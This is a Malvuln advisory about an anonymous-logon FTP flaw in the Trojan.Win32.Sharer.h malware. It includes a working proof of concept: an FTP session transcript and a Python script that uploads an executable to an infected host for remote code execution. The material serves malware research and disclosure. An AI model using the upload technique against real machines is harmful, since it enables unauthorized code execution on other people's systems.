Trojan.Win32.Sharer.h / Anonymous Logon RCE

[malvuln <malvuln13 () gmail com>]

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/9f80c3b1e7f5f6f7d0c8aea25fe83551.txt
Contact: malvuln13 () gmail com
Media: twitter.com/malvuln

Threat: Trojan.Win32.Sharer.h
Vulnerability: Anonymous Logon RCE
Description: Sharer.h by GOLDSWORD - www.daokers.cn can run several types
of services, one is an FTP server named "20CN MINIFTP" TCP port 21. The FTP
server default configuration is username "anonymous" and no password, any
password will allow logon. Attackers may then upload executables using
PASV, STOR commands, this can result in remote code execution. Running this
malware you may get missing "picclp32.ocx" error just run it again and it
should work.
Type: PE32
MD5: 9f80c3b1e7f5f6f7d0c8aea25fe83551
Vuln ID: MVID-2021-0158
Dropped files: FtpServer.exe
Disclosure: 04/03/2021

Exploit/PoC:
TELNET x.x.x.x 21

220 ─πY╙╓└┤┴╦!!!

USER anonymous

331 Password required for anonymous

PASS malvuln

230 User successfully logged in.

SYST

215 UNIX emulated by Pablo's FTP Server.

PASV

227 Entering Passive Mode (192,168,88,128,202,32).

STOR DOOM.exe

150 Opening BINARY mode data connection for file transfer.

226 Transfer complete


from socket import *

MALWARE_HOST="192.168.88.128"
PORT=51744                   #202*256+32
DOOM="DOOM.exe"

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    f = open(DOOM, "rb")
    EXE = f.read()
    s.send(EXE)

    while EXE:
        s.send(EXE)
        EXE=f.read()

    s.close()

    print("Trojan.Win32.Sharer.h / Anonymous Logon RCE")
    print("MD5: 9f80c3b1e7f5f6f7d0c8aea25fe83551")
    print("By Malvuln");

if __name__=="__main__":
    doit()



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not attempt to download Malware samples. The author of this website takes
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handling or the downloading of ANY Malware mentioned on this website or
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